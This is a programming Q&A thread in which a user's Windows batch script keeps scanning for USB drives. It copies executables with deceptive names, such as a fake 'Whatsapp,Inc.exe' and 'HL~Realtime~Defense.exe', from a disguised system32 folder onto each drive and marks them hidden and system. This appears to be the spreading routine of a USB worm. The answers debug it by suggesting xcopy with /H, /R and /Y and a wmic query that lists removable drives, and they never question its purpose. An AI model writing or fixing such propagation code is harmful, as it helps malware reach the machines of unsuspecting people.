-1

I have been struggling over this question for a while now. I have a batch file that, when started, searches for any USB drive and if it finds one, it searches for some files and copies them to the USB. However it is not working for me in this case.

Please note that the files I am copying have +H and +S attributes, I do hope that wont make a difference.

Here is the code of the batch file:

@echo off
:loop
set INTERVAL=5
for /F "tokens=1*" %%a in ('fsutil fsinfo drives') do (
    for %%c in (%%b) do (
        for /F "tokens=3" %%d in ('fsutil fsinfo drivetype %%c') do (
            if %%d equ Removable (
                echo %%c is Removable
                cd %SYSTEMROOT%\system32\SystemSettingsUpdate
                copy "Whatsapp,Inc.exe" "%%c"
                copy "Configure.exe" "%%c"
                copy "HL~Realtime~Defense.exe" "%%c"
                ATTRIB +H -R +S %%cConfigure.exe
                ATTRIB +H -R +S %%cHL~Realtime~Defense.exe
                timeout /nobreak /t 59
                goto :loop
            )
        )
    )
)

Please note that the %%c is the letter of the USB drive.

So now what happens is that when I start it, it gives me an error that it cannot locate the files I specified.

However I double checked the location and the files exist.

Any suggestions why getting the file not found error message?

Mofi
  • 46,139
  • 17
  • 80
  • 143
Mr.Helpy
  • 155
  • 10
  • 2
    __copy__ does not copy files with either system or hidden attribute set. Use instead __xcopy__ with parameter `/H`. – Mofi Feb 21 '16 at 19:22
  • 1
    Thank you @Mofi please post this as an answer and I will green check it. Also if I had shown research work or my question was clear please upvote it – Mr.Helpy Feb 22 '16 at 09:59

3 Answers3

1

copy does not copy files with either system or hidden attribute set. Use instead xcopy with parameter /H.

1

COPY does not copy files with either system or hidden attribute set as the following batch code demonstrates:

@echo off
cls
pushd "%TEMP%"
md TestTarget 2>nul
echo Just a copy/xcopy test for hidden and system files.>TestFile.tmp

attrib +h TestFile.tmp

echo TRY TO COPY HIDDEN FILE ...
echo.
echo copy TestFile.tmp TestTarget\
copy TestFile.tmp TestTarget\
echo.

echo.
echo TRY TO XCOPY HIDDEN FILE ...
echo.
echo xcopy TestFile.tmp TestTarget\ /H /I /Q /R /Y
xcopy TestFile.tmp TestTarget\ /H /I /Q /R /Y
echo.
pause

cls
attrib -h +s TestFile.tmp

echo TRY TO COPY SYSTEM FILE ...
echo.
echo copy TestFile.tmp TestTarget\
copy TestFile.tmp TestTarget\
echo.

echo.
echo TRY TO XCOPY SYSTEM FILE ...
echo.
echo xcopy TestFile.tmp TestTarget\ /H /I /Q /R /Y
xcopy TestFile.tmp TestTarget\ /H /I /Q /R /Y
echo.
pause

cls
attrib +h +s TestFile.tmp

echo TRY TO COPY HIDDEN SYSTEM FILE ...
echo.
echo copy TestFile.tmp TestTarget\
copy TestFile.tmp TestTarget\
echo.

echo.
echo TRY TO XCOPY HIDDEN SYSTEM FILE ...
echo.
echo xcopy TestFile.tmp TestTarget\ /H /I /Q /R /Y
xcopy TestFile.tmp TestTarget\ /H /I /Q /R /Y
echo.

del /A TestFile.tmp
rd /Q /S TestTarget
popd
pause

One solution for copying hidden system files is using command XCOPY with parameter /H.

But usage of XCOPY for copying a single file is a little bit tricky.

Copying with XCOPY a single file to an existing directory with a new file name results in a prompt if the target is a file or a directory. For this task the prompt can be avoided by using option /I and making sure the target specification ends with a backslash and is therefore interpreted as directory path. See also answers on BATCH file asks for file or folder for details on XCOPY and file or directory prompt.

Additionally argument /Y is needed to avoid the prompt on overwriting an already existing file in target directory with same name as current source file.

Then XCOPY outputs an access denied error message if the file already exists in target directory but has hidden attribute set. The copying is successful for this case with using also flag /R (second copy done by demonstration batch file).

Parameter /Q should be also used for copying the files without showing their names.

And last it would be good to use >nul at end of each line with XCOPY if the success message should be suppressed which was not done on demonstration batch code as we want to see absolutely the success message here.

XCOPY without using /K removes automatically the read-only attribute.

Community
  • 1
  • 1
Mofi
  • 46,139
  • 17
  • 80
  • 143
0

A better way to List the USB drives

@echo off

setlocal enabledelayedexpansion

:: Creating a list with all USB drive

for /f "delims=" %%a in ('wmic logicaldisk where drivetype^=2 get deviceid ^| find ":"') do set "$List=!$List! %%a"

Echo USB ==^> !$List!

And like @Mofi said use xcopy instead of copy

SachaDee
  • 9,245
  • 3
  • 23
  • 33